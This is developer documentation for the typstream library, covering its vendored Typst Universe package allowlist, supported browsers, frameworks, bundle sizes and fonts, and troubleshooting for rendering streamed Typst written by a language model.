`@typstream/universe` vendors the [Typst Universe](https://typst.app/universe) packages typstream allows by default,
for diagrams, math and chemistry, with their integrity hashes. It is a plugin: it gives the engine an allowlist of
packages documents may import, and gives the prompt kit a rule naming them, so the model imports only what will
compile.

## When to use it

The `typstream` package's `<Typstream>` adds it by default (`packages={false}` turns it off). Add it yourself when you
use `@typstream/react`, `@typstream/dom` or `@typstream/engine` and want documents to import these packages, and pass
it to `buildSystemPrompt` so the model knows about them.

Leave it out if you can't ship LGPL code (see [Licenses](#licenses)), or if you want a different set of packages: pass
your own allowlist instead. [Typst packages](/docs/guides/typst-packages) covers both.

## Install

```npm
npm install @typstream/universe
```

## Example

```tsx
import { universe } from "@typstream/universe";
import { Typstream } from "@typstream/react";

// As a plugin on a document: the engine's allowlist and the prompt rules.
<Typstream source={text} plugins={[universe]} />;
```

```ts
import { createEngine, engineWorker } from "@typstream/engine";
import { universe } from "@typstream/universe";

// Or engine-wide: every document on this engine may import them.
const engine = createEngine({ spawn: engineWorker(), plugins: [universe] });
```

A document then imports a package as it would with the Typst CLI:

```typst
#import "@preview/cetz:0.5.3"

#cetz.canvas({
  import cetz.draw: *
  line((0, 0), (4, 0), (2, 3), close: true)
  content((2, -0.5), [4 cm])
})
```

## Packages

| For | Package | Import |
| --- | --- | --- |
| Diagrams | `@preview/cetz:0.5.3` | `#import "@preview/cetz:0.5.3"` |
| Diagrams | `@preview/fletcher:0.5.8` | `#import "@preview/fletcher:0.5.8": diagram, node, edge` |
| Math | `@preview/cetz-plot:0.1.4` | `#import "@preview/cetz-plot:0.1.4": plot` |
| Math | `@preview/physica:0.9.8` | `#import "@preview/physica:0.9.8": *` |
| Math | `@preview/unify:0.8.1` | `#import "@preview/unify:0.8.1": num, qty, unit` |
| Chemistry | `@preview/chemformula:0.1.3` | `#import "@preview/chemformula:0.1.3": ch` |
| Chemistry | `@preview/alchemist:0.2.0` | `#import "@preview/alchemist:0.2.0": *` |

Their dependencies come too, pinned as the packages pin them: cetz 0.5.2 and 0.3.4, and oxifmt 1.0.0 and 0.2.1.

A document that imports another version of an allowed package gets the closest one (the newest with the same major and
minor version, else the newest) and a warning: "package @preview/cetz:0.5.0 isn't available here; using
@preview/cetz:0.5.3". A package that isn't allowed fails with "package … is not allowed" and a hint listing the allowed
ones.

## How packages load

- **Tarballs.** The package ships the `.tar.gz` files exactly as packages.typst.org serves them. Each `url` is written
  as `new URL("../vendor/…", import.meta.url)`, which bundlers emit as an asset, so the engine fetches packages from
  your own origin, not from typst.org. It fetches one only when a document imports it, and keeps it in Cache Storage
  after that.
- **Integrity.** Every tarball is checked against its `integrity` before use. The hash is the SHA-256 of the
  *uncompressed* tar, so it holds even when a server sends the `.gz` with `Content-Encoding: gzip` (Vite's dev server
  does) and the browser hands over the tar.
- **Plugins.** CeTZ calls its `cetz-core` wasm plugin for geometry, so the engine keeps Typst's plugin support.
- **Strict CSP.** The tarballs are fetched from your origin, so `connect-src 'self'` covers them. See
  [Security](/docs/guides/security).

`@typstream/node` doesn't fetch packages: its documents can import one only if you mount the package's files under its
spec yourself.

## HTML target

With `@typstream/html-compat`, CeTZ canvases (cetz, cetz-plot, alchemist) become inline SVG in the HTML target.
**fletcher diagrams stay empty in HTML**: its CeTZ 0.3.4 canvas calls `layout` where html-compat can't reach. They
render in the paged target. See [html-compat's known gaps](/docs/reference/html-compat#known-gaps).

## Licenses

Each tarball carries its package's own license, unmodified:

| License | Packages |
| --- | --- |
| LGPL-3.0-or-later | cetz (every version), cetz-plot |
| MIT | fletcher, physica, unify, chemformula, alchemist |
| MIT OR Apache-2.0 | oxifmt 1.0.0 |
| MIT-0 | oxifmt 0.2.1 |

<Callout type="warn" title="LGPL">
cetz and cetz-plot are LGPL-3.0-or-later. An app that can't ship LGPL code should leave this plugin out (with
`typstream`, `packages={false}`) and pass its own allowlist.
</Callout>

## API

| Export | What it is |
| --- | --- |
| [`universe`](#universe) | The plugin: the engine's package allowlist and prompt rules. |
| [`UNIVERSE_PACKAGES`](#universe_packages) | Every vendored package, dependencies included. |
| [`UniversePackage`](#universepackage) | A vendored package: a `PackageSpec` with `url` and `integrity` set. |
| [`UniverseTopic`](#universepackage) | `"diagrams" \| "math" \| "chemistry"`. |

### universe

```ts
const universe: {
  key: string;
  engine: { packages: { namespace: string; name: string; version: string; url: string; integrity: string }[] };
  prompt: { rules: string[] };
};
```

The vendored packages as a typstream plugin, with key `"universe"`. `engine.packages` is the allowlist: every entry of
`UNIVERSE_PACKAGES` with its URL and integrity. `prompt.rules` tells the model to import only these packages at exactly
these versions, then lists each importable one with its topic, how to import it and a one-line usage example.
`buildSystemPrompt` from `@typstream/edu` includes them:

```ts
import { buildSystemPrompt, edu } from "@typstream/edu";
import { universe } from "@typstream/universe";

const system = buildSystemPrompt([edu, universe]);
```

### UNIVERSE_PACKAGES

```ts
const UNIVERSE_PACKAGES: readonly UniversePackage[];
```

Every vendored package, dependencies included (eleven entries). The packages documents import have a `topic` and a
`summary`; dependencies don't. Use it to build your own allowlist, for example without the LGPL packages:

```ts
import { UNIVERSE_PACKAGES } from "@typstream/universe";

const keep = new Set(["physica", "unify", "chemformula"]);
const permissive = UNIVERSE_PACKAGES.filter((p) => keep.has(p.name));
```

fletcher, cetz-plot and alchemist import cetz (and cetz imports oxifmt), so dropping cetz means dropping them too.
physica, unify and chemformula have no dependencies. To use such a list, put it in a plugin's `engine.packages` facet
(beta in `@typstream/core`) and pass that instead of `universe`:

```tsx
import { definePlugin } from "@typstream/core";
import { Typstream } from "typstream";

const packages = definePlugin({ key: "packages", engine: { packages: permissive } });

<Typstream packages={false} plugins={[packages]} source={text} />;
```

### UniversePackage

### UniversePackage

A vendored Typst Universe package: a @typstream/core#PackageSpec with
its tarball's URL and integrity (of the uncompressed tar) always set.

| Prop        | Type                             | Description                                                                                                                                                                                    |
| ----------- | -------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `url`       | `string`                         | The vendored `.tar.gz`, next to this package's JS: bundlers emit it as an asset.                                                                                                               |
| `integrity` | `string`                         | `sha256-…` of the uncompressed tar.                                                                                                                                                            |
| `topic?`    | `UniverseTopic \| undefined`     | Set on the packages documents import; unset on those that only come in as another's dependency.                                                                                                |
| `summary?`  | `string \| undefined`            | One line for the prompt: what it's for and how it's called.                                                                                                                                    |
| `namespace` | `string`                         | `preview` for Typst Universe packages.                                                                                                                                                         |
| `name`      | `string`                         | The package's name, e.g. `cetz`.                                                                                                                                                               |
| `version`   | `string`                         | `major.minor.patch`.                                                                                                                                                                           |
| `imports?`  | `readonly string[] \| undefined` | The packages its sources import (`@preview/oxifmt:1.0.0`), requested with it rather than found once it is unpacked, so they download at the same time. Optional: the engine finds them anyway. |

It extends `@typstream/core`'s `PackageSpec` (beta):

### PackageSpec

A Typst package the engine may load (`#import "@preview/cetz:0.5.3"`): an
entry of its allowlist (PLAN §6.4). The engine fetches it only when a
document imports it. A document asking for another version of an allowed
package gets the nearest allowed one, with a warning. Without `url`, the
server resolves it from its configured registry, if it has one.
`@typstream/universe` lists the packages typstream vendors.

| Prop         | Type                             | Description                                                                                                                                                                                                                                                          |
| ------------ | -------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `namespace`  | `string`                         | `preview` for Typst Universe packages.                                                                                                                                                                                                                               |
| `name`       | `string`                         | The package's name, e.g. `cetz`.                                                                                                                                                                                                                                     |
| `version`    | `string`                         | `major.minor.patch`.                                                                                                                                                                                                                                                 |
| `url?`       | `string \| undefined`            | Where to fetch the `.tar.gz` from, as packages.typst.org serves it.                                                                                                                                                                                                  |
| `integrity?` | `string \| undefined`            | Subresource-integrity hash (`sha256-…`, `sha384-…` or `sha512-…`), checked before use: of the `.tar.gz` as fetched, or of the `.tar` inside it. Prefer the tar's: servers often send `.gz` files with `Content-Encoding: gzip`, and browsers then hand over the tar. |
| `imports?`   | `readonly string[] \| undefined` | The packages its sources import (`@preview/oxifmt:1.0.0`), requested with it rather than found once it is unpacked, so they download at the same time. Optional: the engine finds them anyway.                                                                       |

`UniverseTopic` is `"diagrams" | "math" | "chemistry"`: what a document imports the package for.

## See also

- [Typst packages](/docs/guides/typst-packages): allowlists, your own packages, and packages in prompts.
- [@typstream/html-compat](/docs/reference/html-compat): how drawings render in the HTML target.
- [Prompting](/docs/guides/prompting): the prompt kit these rules join.
- [Self-hosting](/docs/guides/self-hosting): serving the engine, fonts and tarballs from your origin.


# Compatibility

> The Typst version typstream compiles with, the browsers, frameworks and Node.js versions it runs on, module formats, bundle sizes, fonts and Typst packages.

Source: https://typstream.vercel.app/docs/resources/compatibility

## Typst 0.15.1

typstream compiles with **Typst 0.15.1**, and only that version. The engine (Typst compiled to WebAssembly), the healer's parser (a port of Typst 0.15.1's lexer and parser, checked against Typst's own) and the server package are pinned to it together. Upgrading Typst is a deliberate release, not something a dependency update does.

For your documents, that means:

- **Typst 0.15 syntax and standard library.** Functions and parameters added in later Typst versions don't exist yet. Tell the model which version it writes for; the prompts in these docs say "Typst 0.15 markup".
- **The paged target** (SVG pages, PDF) is Typst's own layout, the same as `typst compile` 0.15.1 produces.
- **The HTML target** is Typst 0.15.1's HTML export, which Typst still develops. It writes semantic HTML and MathML, but drops layout it can't express (grids, alignment, boxes, shapes); [html-compat](/docs/reference/html-compat) brings most of it back. Page settings (headers, footers, page numbers, margins) have no HTML equivalent and stay missing. See [Render targets](/docs/concepts/render-targets).
- **Typst packages** come from an allowlist of pinned versions (below). A document that imports another version of an allowed package gets the nearest allowed one, with a warning.

## Browsers

The browser tests run in **Chromium, Firefox and WebKit** (Playwright 1.64), for the engine worker, the renderers, the React bindings, and a page under a strict Content-Security-Policy. typstream needs:

| Feature | Used for | Without it |
|---|---|---|
| WebAssembly | The Typst engine | Nothing renders. Under a CSP, allow `'wasm-unsafe-eval'` in `script-src`. |
| Module workers | The engine runs in `new Worker(url, { type: "module" })` | Nothing renders. |
| Constructed stylesheets | Adding the renderers' CSS without inline styles | A `<style>` element instead, which a strict CSP refuses without `'unsafe-inline'` (Safari before 16.4). |
| MathML | Math in the HTML target | Math doesn't render in the HTML target. The paged target draws math itself. |
| `IntersectionObserver` | Opening documents only near the viewport | Documents open right away. |
| `ResizeObserver` | The paged `fit-width` and `reflow` layouts | |
| Cache Storage | Keeping fonts and package tarballs across sessions | They come from the HTTP cache. |

Cross-origin isolation (COOP/COEP) and SharedArrayBuffer are not needed. Trusted Types (`require-trusted-types-for 'script'`) work with `trusted-types typstream` in the policy. The CSP that works is in [Security](/docs/guides/security).

## Frameworks and runtimes

| | Supported | Tested with |
|---|---|---|
| React | 19 (`react` `^19.0.0` is a peer dependency of `typstream` and `@typstream/react`) | 19.3 |
| Next.js | App Router; the React bundles are marked `"use client"` | 16.4, Turbopack (webpack needs no configuration either) |
| Vite | No configuration | 8.3 |
| Vercel AI SDK | `<Typstream>` takes the text so far from any source; the example uses `useChat` | `ai` 7, `@ai-sdk/react` 4 |
| Node.js (`@typstream/node`) | 20 or later | 24 |

Without React, `@typstream/dom` works in any framework or none: see [Without a framework](/docs/getting-started/vanilla). On the server, `<Typstream>` renders an empty `<div>` and starts in the browser.

## Module format

Every package is **ESM only**, with TypeScript types included. There is no CommonJS build: use `import`, not `require()`. Offsets in every API (diagnostics, edits, heal's source map) are UTF-16 indices, the way JavaScript strings index.

## Bundle sizes

Budgets in minified and gzipped ESM. Each is checked on every change, so they are upper bounds, not estimates.

| Part | Budget | Notes |
|---|---|---|
| `@typstream/heal` | ≤ 16.4 KB | With `@typstream/core`'s helpers inlined. |
| `@typstream/engine`, main thread | ≤ 10.2 KB | Without heal. |
| `@typstream/engine/websocket` | ≤ 1.5 KB | `fromWebSocket`, only for apps that compile on a server. |
| `@typstream/engine/images` | ≤ 1.5 KB | `fetchImages`, only for apps that show images from the web. |
| `@typstream/engine/prefetch` | ≤ 3 KB | `prefetchEngine`, downloading the engine's files early; mostly engine-wasm's font list, which `typstream` already has. `@typstream/react` loads it only for `level: "fetch"`. |
| `@typstream/react`, with `@typstream/dom` | ≤ 35.6 KB | Without React and the engine. |
| `@typstream/dom` HTML renderer | ≤ 23.3 KB | Including its CSS, and the layout of the HTML target on pages. |
| `@typstream/dom` paged renderer | ≤ 7.2 KB | |
| `@typstream/dom` standalone HTML export | ≤ 2 KB | |
| `@typstream/ai` | ≤ 4.5 KB | Without heal and core. |
| Engine worker JS | ≤ 40 KB | Loaded in the worker, not your bundle. Without the wasm and fonts. |
| `@typstream/docx` | ≤ 14.4 KB | Loaded by the worker on the first DOCX export. |
| Typst wasm (`@typstream/engine-wasm`) | ≤ 6.32 MB brotli | About 21 MB uncompressed; HTML, SVG, PDF and the DOCX export's model in one build. |
| `@typstream/mindmap` plugin | ≤ 10 KB | Its React entry ≤ 1 KB; React Flow ≤ 66 KB, loaded when the first map shows. |
| `@typstream/mermaid` plugin | ≤ 6 KB | Its generator, loaded by the worker when a document with the plugin opens: ≤ 285 KB, pele included. |

In practice, `typstream` adds about 90 KB gzipped to a React app's main bundle (React itself excluded): the bindings, renderers, engine client and healer, plus html-compat's prelude and CSS and the package list. Plugins you add, such as edu, come on top. The wasm, the fonts and the packages are separate files, fetched by the worker when it starts or when a document needs them: see [what gets downloaded, and when](/docs/getting-started/installation#what-gets-downloaded-and-when).

## Fonts

| Fonts | Scripts | Loaded |
|---|---|---|
| Libertinus Serif (regular, bold, italic) | Latin, Greek, Cyrillic, Hebrew | When the engine starts (3.7 MB with the two below, 1.4 MB brotli) |
| New Computer Modern Math | Math | When the engine starts; also registered as a web font for MathML |
| DejaVu Sans Mono | Code | When the engine starts |
| Noto Naskh Arabic (regular, bold) | Arabic | The first time a document needs it (47–79 KB brotli per face) |
| Noto Serif Bengali (regular, bold) | Bengali | The first time a document needs it |
| Noto Serif Devanagari (regular, bold) | Devanagari | The first time a document needs it |

These are the fonts the engine draws with: in the paged target, PDF exports, and drawings inside HTML. In the HTML target the browser draws the text, with your page's fonts.

**CJK fonts are not included**: a single weight of Noto Serif SC is 11.6 MB. Add the fonts you need through a plugin on `createEngine`; see [Fonts and languages](/docs/guides/fonts-and-languages). `@typstream/node` loads Typst's bundled fonts and the script fonts up front, and takes more with `fontPaths` or `fonts`.

## Typst packages

Documents can import these [Typst Universe](https://typst.app/universe) packages by default. They are vendored with integrity hashes and served from your own origin, fetched only when a document imports one:

| For | Package |
|---|---|
| Diagrams | `@preview/cetz:0.5.3`, `@preview/fletcher:0.5.8` |
| Math | `@preview/cetz-plot:0.1.4`, `@preview/physica:0.9.8`, `@preview/unify:0.8.1` |
| Chemistry | `@preview/chemformula:0.1.3`, `@preview/alchemist:0.2.0` |

fletcher diagrams render in the paged target only; in the HTML target they stay empty for now. Other packages aren't fetched unless you add them to the allowlist. Details in [`@typstream/universe`](/docs/reference/universe) and [Typst packages](/docs/guides/typst-packages).


# Troubleshooting

> Common problems when rendering streamed Typst with typstream, what causes them, and how to fix them.

Source: https://typstream.vercel.app/docs/resources/troubleshooting

Start with the document's state: `useTypstream()` in React, or `getState()` on a mount. `status` says where the document is, `failure.reason` why the latest compile produced nothing, and `diagnostics` holds Typst's messages. `engine.onEvent` reports workers that fail to start, crash or hit the watchdog.

## Rendering

<Accordions>
<Accordion title="Nothing renders at all">

Check, in this order:

- **The worker and the wasm load.** In the browser's network panel, look for the worker script, `engine_bg.wasm` and the fonts. A 404 means they weren't emitted with your build or aren't served; a bundler that doesn't handle `new URL(…, import.meta.url)` needs a worker of your own ([Self-hosting](/docs/guides/self-hosting)). When the engine can't start, `engine.onEvent` reports a `failed` event and every document's `failure.reason` is `"engine"`.
- **The Content-Security-Policy allows WebAssembly.** The page needs `script-src 'wasm-unsafe-eval'`, `worker-src 'self'` and `connect-src 'self'`, and the worker script's own response needs the policy too. The console shows the violation. See [Security](/docs/guides/security).
- **The element is near the viewport.** Documents are lazy: one that isn't streaming opens only when its element comes within a screen of the viewport. An element that is hidden (`display: none`, a closed tab or accordion) never does. Pass `lazy={false}` (or `lazy: false` to `mountTypstream`) to open it right away.

</Accordion>
<Accordion title="The status stays &quot;stale&quot; while the model writes">

That is normal. `stale` means the document is still streaming and the latest prefix didn't compile, so the last good render stays on screen. Most prefixes heal into something that compiles, but some don't until a few more tokens arrive: a half-written argument, a reference to a label defined further down. When the stream ends and `isStreaming` turns false, the document compiles in final mode and ends as `done` or `error`. Show `stale` as "updating", not as an error. See [Streaming](/docs/concepts/streaming).

</Accordion>
<Accordion title="Live preview stopped with &quot;too-complex&quot;">

The watchdog gives each compile 3 seconds while streaming and 10 seconds for the finished document. A compile past its budget is stopped by replacing the worker. After 3 such strikes (timeouts or crashes), live compiling stops for that document and `failure.reason` is `too-complex`; the finished document is still compiled once. A streaming paged document with more than 100 pages stops live compiling the same way, and compiles every page when finished.

Usually the document contains a long loop or a huge drawing. If your documents are legitimately heavy, raise the budgets on your engine: `createEngine({ spawn: engineWorker(), watchdog: { streamingMs: 5000 }, limits: { livePages: 200 } })`, and pass it as `engine`. See [Engine](/docs/concepts/engine).

</Accordion>
<Accordion title="The document reports &quot;too-large&quot;">

Input longer than 1 MiB (1,048,576 UTF-16 code units) isn't healed or compiled, to protect the page. The document keeps its last render and refuses exports until `set()` or `reset()` brings the text back under the limit. Raise it with `createEngine({ limits: { maxLength } })` if you really need longer documents. `@typstream/node`'s protocol server has its own limit, `maxTextLength`.

</Accordion>
<Accordion title="A block shows &quot;This part couldn't be displayed&quot;">

That is the fallback: a block that doesn't compile is shown as an error box with Typst's message and the block's source, and the rest of the document renders around it. The error is in `diagnostics`. Feed the finished document to `@typstream/node`'s `fixLoop` to have the model repair it, or improve the prompt for that error class. See [Fallback](/docs/concepts/fallback) and [The server fix loop](/docs/guides/server-fix-loop).

</Accordion>
<Accordion title="On the server, the component renders an empty div">

That is by design. `<Typstream>` compiles in a Web Worker, which only exists in the browser, so on the server it renders an empty `<div>` and starts after hydration. The `typstream` and `@typstream/react` bundles are marked `"use client"`, so Next.js's App Router treats them as client components. If you need the document in the server's HTML (for SEO, or a page without JavaScript), render it on the server with `@typstream/node`'s `render(source, "html")` ([Node.js](/docs/getting-started/node)).

</Accordion>
</Accordions>

## Output looks wrong

<Accordions>
<Accordion title="Math looks off in the HTML target: delimiters don't stretch">

MathML needs a math font, and browsers' defaults are poor or missing. html-compat's CSS asks for New Computer Modern Math, which `typstream`'s `<Typstream>` registers for you. With `@typstream/react` or `@typstream/dom`, register it yourself: pass `mathFont` to `<Typstream>`, or call `registerMathFont(url)` from `@typstream/dom` with the URL from `@typstream/engine-wasm/fonts`. Under a CSP, `font-src 'self'` must allow it. See [Without a framework](/docs/getting-started/vanilla#mount-a-document).

</Accordion>
<Accordion title="Grids, alignment or boxes are empty in the HTML target">

Typst's HTML export drops layout it can't express, and the content inside it: `#grid`, `#align`, `#rect`, `#place`, `#stack` and others come out empty. html-compat maps them to HTML and CSS. `typstream`'s `<Typstream>` adds it unless you pass `htmlCompat={false}`; with `@typstream/react` or `@typstream/dom`, add `htmlCompat` to `plugins`. The [html-compat reference](/docs/reference/html-compat) lists what it covers and its gaps.

</Accordion>
<Accordion title="fletcher diagrams are empty in the HTML target">

A known gap: fletcher 0.5.8 draws on a CeTZ 0.3.4 canvas that html-compat can't reach, so its diagrams stay empty in HTML. They render in the paged target. CeTZ 0.5 canvases (CeTZ itself, cetz-plot, alchemist) do become SVG in HTML. Use `target="paged"` for documents with fletcher diagrams, or prompt for CeTZ instead. See [Typst packages](/docs/guides/typst-packages).

</Accordion>
<Accordion title="Headers, footers or page numbers are missing in the HTML target">

Typst's HTML output has no pages: html-compat writes their settings (headers, footers, numbering, margins, columns) for `@typstream/dom`'s HTML renderer, which lays the pages out. Check that the `htmlCompat` plugin is loaded (the `typstream` package loads it) and that you render with `<Typstream>`, `mountTypstream` or `createHtmlRenderer`, not Typst's HTML on its own. See [Render targets](/docs/concepts/render-targets).

</Accordion>
<Accordion title="Arabic, Bengali or Devanagari text shows boxes (tofu)">

In the paged target and in PDFs, the engine draws these scripts with Noto fonts that it downloads the first time a document needs them, then recompiles. The first render can show boxes for a moment. If they stay, the font download failed: check that the font files are served (network panel), and that the CSP's `connect-src` allows their origin. A failed font is tried again after 30 seconds.

In the HTML target the browser draws the text, with your page's fonts. Make sure your CSS includes a font for the script, or that readers' systems have one. See [Fonts and languages](/docs/guides/fonts-and-languages).

</Accordion>
<Accordion title="Chinese, Japanese or Korean text shows boxes">

CJK fonts aren't included: one weight of Noto Serif SC alone is 11.6 MB. Add the fonts you need through a plugin passed to `createEngine`, with their metadata so they too load only when used, and give that engine to your components. See [Fonts and languages](/docs/guides/fonts-and-languages). In the HTML target, the browser's fonts apply.

</Accordion>
<Accordion title="&quot;package … is not allowed&quot; or &quot;is still loading&quot;">

Documents can import only packages on the engine's allowlist. `typstream`'s `<Typstream>` allows the vendored ones (CeTZ, fletcher, cetz-plot, physica, unify, chemformula, alchemist); with `@typstream/react` or `@typstream/dom`, add the `universe` plugin. Anything else is reported as `package … is not allowed`, with the allowed packages as a hint, and nothing is fetched.

`is still loading` is temporary: a package is downloaded the first time a document imports it, and the document compiles again when it arrives. Meanwhile the names it imports render as placeholders. `failed to load (reason)` means the tarball couldn't be fetched: check that it is served and that `connect-src` allows it. See [Typst packages](/docs/guides/typst-packages).

</Accordion>
</Accordions>

## The model's output

<Accordions>
<Accordion title="The model writes Markdown">

Models fall back to Markdown habits. The healer fixes the common ones in text that has settled: `# Heading` becomes `= Heading`, `**bold**` becomes `*bold*`, `[text](url)` becomes a link, and a ```` ```typst ```` fence around the whole document is removed. These are the lint rules `markdown-heading`, `markdown-bold` and `markdown-link`. It can't turn a Markdown document into Typst, though: tell the model to write Typst only. [Prompting](/docs/guides/prompting) has the instructions and the prompt kit that measurably lower error rates, and [Healing](/docs/concepts/healing) lists every rule.

</Accordion>
<Accordion title="Dollar signs in prose turn into math">

In Typst, `$` starts math, so "costs $5 and $10" becomes an equation. The `currency-dollar` lint rule spots this and warns by default. To escape such dollars automatically, set it to `fix`:

```tsx
<TypstreamProvider heal={{ lint: { "currency-dollar": "fix" } }}>
```

Better still, tell the model to write a literal dollar sign as `\$`, as the prompts in these docs do.

</Accordion>
<Accordion title="Answers show in the student's copy">

edu's answers (`answer:` parameters, `#answer[…]`, `#answer-key()`) produce output only when `sys.inputs.showAnswers` is `"true"`. If they show, that input is set somewhere: on a `<TypstreamProvider>`, which every document below inherits, or in a template's default `inputs`. Set `inputs={{ showAnswers: "true" }}` only on the teacher's view. Answers the model writes as plain text, outside edu's functions, are ordinary content and always show; the edu prompt tells the model to use the functions. See [Edu documents](/docs/guides/edu-documents).

</Accordion>
</Accordions>

If your problem isn't here, the [issue tracker](https://github.com/ikramhasan/typstream/issues) is the place to report it. A `fallback` event ([Telemetry](/docs/guides/telemetry)) carries the input and the healed source, which makes a good reproduction.
